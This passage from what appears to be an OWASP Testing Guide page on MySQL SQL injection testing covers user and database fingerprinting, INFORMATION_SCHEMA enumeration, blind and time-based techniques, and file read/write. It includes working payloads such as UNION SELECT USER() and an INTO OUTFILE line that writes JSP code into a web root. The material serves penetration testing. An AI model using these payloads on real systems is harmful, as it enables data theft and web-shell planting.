# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.

There is some difference between 1 and 2.

The main one is that an anonymous user could connect (if allowed)
with any name, but the MySQL internal user is an empty name (<nowiki>''</nowiki>).

Another difference is that a stored procedure or a stored function
are executed as the creator user, if not declared elsewhere. This
can be known by using '''CURRENT_USER'''.

In band injection:

1 AND 1=0 UNION SELECT USER()

Inferential injection:

1 AND USER() like 'root%'

'''Result Expected:''' 
''A string like this: '''user@hostname''' ''

==== Database name in use ====

There is the native function DATABASE()

In band injection:

1 AND 1=0 UNION SELECT DATABASE()

Inferential injection:

1 AND DATABASE() like 'db%'

'''Result Expected:''' 
''A string like this: '''dbname''' ''

==== INFORMATION_SCHEMA ====
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.
It allows to get all informations about databases, tables and columns
as well as procedures and functions.

Here is a summary about some interesting View.
{| border=1
|| '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''
|-
|| ..[skipped]..|| ..[skipped]..
|-
|| SCHEMATA || All databases the user has (at least) SELECT_priv
|-
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB
|-
|| TABLES || All tables the user has (at least) SELECT_priv
|-
|| TABLE_PRIVILEGES || The privileges the user has for each table
|-
|| COLUMNS || All columns the user has (at least) SELECT_priv
|-
|| COLUMN_PRIVILEGES || The privileges the user has for each column
|-
|| VIEWS || All columns the user has (at least) SELECT_priv
|-
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)
|-
|| TRIGGERS || Triggers (needs INSERT_priv)
|-
|| USER_PRIVILEGES || Privileges connected User has
|-
|}
All of these informations could be extracted by using known techniques as
described in SQL Injection paragraph.

=== Attack vectors ===

==== Write in a File ====

If the connected user has '''FILE''' privileges and single quotes are not escaped,
the 'into outfile' clause can be used to export query results in a file.

Select * from table into outfile '/tmp/file'

Note: there is no way to bypass single quotes outstanding filename.
So if there's some sanitization on single quotes like escape (\') there will
be no way to use 'into outfile' clause.

This kind of attack could be used as an out-of-band technique to gain information
about the results of a query or to write a file which could be executed inside the
web server directory.

Example:

<nowiki>1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//' LINES TERMINATED BY '\n<%jsp code here%>';</nowiki>

'''Result Expected:''' 
'' Results are stored in a file with rw-rw-rw privileges owned by
mysql user and group.

Where ''/var/www/root/test.jsp'' will contain:
<nowiki>//field values//
<%jsp code here%></nowiki>

==== Read from a File ====

Load_file is a native function that can read a file when allowed by
filesystem permissions.

If the connected user has '''FILE''' privileges, it could be used to get files content.

Single quotes escape sanitization can by bypassed by using previously described
techniques.

load_file('filename')

'''Result Expected:''' 

'' the whole file will be available for exporting by using standard techniques.''

=== Standard SQL Injection Attack ===

In a standard SQL injection you can have results displayed directly
in a page as normal output or as a MySQL error.
By using already mentioned SQL Injection attacks and the already described
MySQL features, direct SQL injection could be easily accomplished at a level
depth depending primarily on mysql version the pentester is facing.

A good attack is to know the results by forcing a function/procedure
or the server itself to throw an error.
A list of errors thrown by MySQL and in particular native functions could
be found on [[http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual]].

=== Out of band SQL Injection ===

Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.
=== Blind SQL Injection ===
For blind SQL injection, there is a set of useful function natively provided by MySQL server.

* String Length:
*: ''LENGTH(str)''
* Extract a substring from a given string:
*: ''SUBSTRING(string, offset, #chars_returned)''
* Time based Blind Injection: BENCHMARK and SLEEP
*: ''BENCHMARK(#ofcicles,action_to_be_performed )''
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.
*: See. SLEEP() (MySQL > 5.0.x) for an alternative on benchmark.

For a complete list the reader could refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html

== References ==
'''Whitepapers''' 
* Chris Anley: "Hackproofing MySQL" -http://www.nextgenss.com/papers/HackproofingMySQL.pdf

'''Case Studies''' 
* Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt

'''Tools''' 
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm 
* ilo--: MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools 
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net
* Antonio Parata: Dump Files by SQL inference on Mysql - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz 

{{Category:OWASP Testing Project AoC}}